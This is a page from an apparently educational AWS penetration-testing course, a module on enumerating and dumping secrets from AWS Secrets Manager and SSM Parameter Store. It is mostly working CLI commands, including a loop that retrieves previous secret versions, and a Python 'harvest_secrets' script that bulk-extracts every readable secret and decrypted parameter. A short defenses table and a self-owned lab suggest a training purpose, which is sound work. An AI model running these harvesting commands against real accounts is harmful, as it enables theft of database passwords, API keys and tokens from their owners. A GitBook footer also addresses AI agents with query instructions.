> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/aws-pentesting/modules/05-secrets.md).

# Module 05 — Secrets Manager & SSM Parameter Store Enumeration

## 🎯 What You'll Learn

* How to enumerate AWS Secrets Manager and SSM Parameter Store
* How to extract stored credentials, API keys, and passwords
* How to identify which secrets are accessible with your current permissions
* How to automate secrets harvesting

***

## 📖 Theory

AWS provides two main secret storage services:

**Secrets Manager** → stores database passwords, API keys, OAuth tokens. Supports auto-rotation. Costs \~$0.40/secret/month.

**SSM Parameter Store** → stores config values and secrets. SecureString params are encrypted with KMS. Free (standard tier).

Both are commonly used to avoid hardcoding credentials in code — but if an IAM identity has access to read them, you get all those secrets instantly.

***

## 🔍 Phase 1 — Secrets Manager Enumeration

```bash
# List all secrets (just names/ARNs, no values yet)
aws secretsmanager list-secrets \
  --profile pentest \
  --region us-east-1

# Example output shows secret names like:
# prod/db/password
# prod/stripe/api-key
# dev/admin-credentials

# Get the value of a specific secret
aws secretsmanager get-secret-value \
  --secret-id prod/db/password \
  --profile pentest \
  --region us-east-1

# Get secret by ARN
aws secretsmanager get-secret-value \
  --secret-id arn:aws:secretsmanager:us-east-1:123456789012:secret:prod/db/password-AbCdEf \
  --profile pentest

# Get all metadata about a secret (rotation config, tags, etc.)
aws secretsmanager describe-secret \
  --secret-id prod/db/password \
  --profile pentest

# List previous versions (rotation may have kept old creds!)
aws secretsmanager list-secret-version-ids \
  --secret-id prod/db/password \
  --profile pentest

# Retrieve a previous version (may still be valid!)
aws secretsmanager get-secret-value \
  --secret-id prod/db/password \
  --version-stage AWSPREVIOUS \
  --profile pentest
```

***

## 🔍 Phase 2 — SSM Parameter Store Enumeration

```bash
# List all parameters
aws ssm describe-parameters \
  --profile pentest \
  --region us-east-1

# Get a specific parameter value
aws ssm get-parameter \
  --name /prod/database/password \
  --profile pentest

# Get a SecureString (encrypted) parameter — with decryption
aws ssm get-parameter \
  --name /prod/database/password \
  --with-decryption \
  --profile pentest

# Get multiple parameters at once
aws ssm get-parameters \
  --names /prod/db/password /prod/api/key /prod/admin/token \
  --with-decryption \
  --profile pentest

# Get ALL parameters by path (recursive!)
aws ssm get-parameters-by-path \
  --path "/" \
  --recursive \
  --with-decryption \
  --profile pentest

# Get all params under a specific path
aws ssm get-parameters-by-path \
  --path "/prod" \
  --recursive \
  --with-decryption \
  --profile pentest
```

***

## 🤖 Phase 3 — Automate Secrets Harvesting

### Bash one-liner — dump all Secrets Manager secrets

```bash
# List all secret names, then get each value
aws secretsmanager list-secrets \
  --profile pentest \
  --query 'SecretList[].Name' \
  --output text | tr '\t' '\n' | while read secret; do
    echo "=== $secret ==="
    aws secretsmanager get-secret-value \
      --secret-id "$secret" \
      --profile pentest \
      --query 'SecretString' \
      --output text 2>/dev/null
    echo ""
done
```

### Bash one-liner — dump all SSM parameters

```bash
aws ssm get-parameters-by-path \
  --path "/" \
  --recursive \
  --with-decryption \
  --profile pentest \
  --query 'Parameters[*].{Name:Name,Value:Value}' \
  --output table
```

### Python script — harvest all secrets to file

```python
#!/usr/bin/env python3
# Usage: python3 harvest_secrets.py --profile pentest --region us-east-1

import boto3
import json
import argparse

def harvest_secrets(profile, region):
    session = boto3.Session(profile_name=profile, region_name=region)
    
    # --- Secrets Manager ---
    print("[*] Harvesting Secrets Manager...")
    sm = session.client('secretsmanager')
    
    try:
        paginator = sm.get_paginator('list_secrets')
        for page in paginator.paginate():
            for secret in page['SecretList']:
                name = secret['Name']
                try:
                    value = sm.get_secret_value(SecretId=name)
                    print(f"[+] {name}: {value.get('SecretString', '<binary>')}")
                except Exception as e:
                    print(f"[-] {name}: Access denied — {e}")
    except Exception as e:
        print(f"[-] Secrets Manager enumeration failed: {e}")
    
    # --- SSM Parameter Store ---
    print("\n[*] Harvesting SSM Parameter Store...")
    ssm = session.client('ssm')
    
    try:
        paginator = ssm.get_paginator('get_parameters_by_path')
        for page in paginator.paginate(Path='/', Recursive=True, WithDecryption=True):
            for param in page['Parameters']:
                print(f"[+] {param['Name']}: {param['Value']}")
    except Exception as e:
        print(f"[-] SSM enumeration failed: {e}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--profile', required=True)
    parser.add_argument('--region', default='us-east-1')
    args = parser.parse_args()
    harvest_secrets(args.profile, args.region)
```

***

## 🔍 Phase 4 — Check Resource Policies

Some secrets have resource-based policies controlling who can access them:

```bash
# Check if a secret has a resource policy
aws secretsmanager get-resource-policy \
  --secret-id prod/db/password \
  --profile pentest

# Check KMS key policy (controls who can decrypt SecureString SSM params)
aws kms list-keys --profile pentest
aws kms get-key-policy \
  --key-id arn:aws:kms:us-east-1:123456789012:key/xxxxx \
  --policy-name default \
  --profile pentest
```

***

## 🔑 What Secrets to Look For

```
Common naming patterns:
/prod/db/password             → database credentials
/prod/rds/master-password     → RDS root password
/app/stripe/secret-key        → payment API keys
/app/sendgrid/api-key         → email service creds
/infra/github/token           → CI/CD pipeline tokens
/admin/ssh/private-key        → SSH keys
prod/okta/client-secret       → SSO credentials
GITHUB_TOKEN, SLACK_TOKEN     → integration tokens
```

***

## 🛡️ Defenses

| Attack               | Defense                                                                |
| -------------------- | ---------------------------------------------------------------------- |
| List all secrets     | Restrict `secretsmanager:ListSecrets` — use resource-level permissions |
| Get secret values    | Least-privilege: only allow `GetSecretValue` for specific secret ARNs  |
| SSM bulk read        | Deny `ssm:GetParametersByPath` on `/` path                             |
| Reading old versions | Immediately delete old secret versions after rotation                  |

***

## 🤖 Using Pacu

```bash
python3 pacu.py

run secretsmanager__enum    # enumerate and dump Secrets Manager
run ssm__param_enum         # enumerate SSM parameters
```

***

## 🧪 Practice Lab

CloudGoat scenario: `secrets_in_the_cloud` (custom — use your own AWS account with a test secret)

```bash
# Create a test secret in your own account
aws secretsmanager create-secret \
  --name test/my-secret \
  --secret-string '{"username":"admin","password":"supersecret123"}' \
  --profile my-personal-account

# Now practice enumerating and retrieving it
```

***

## 📎 References

* [HackTricks AWS Secrets](https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-secretsmanager-attack)
* [Pacu SecretManager Module](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/aws-pentesting/modules/05-secrets.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
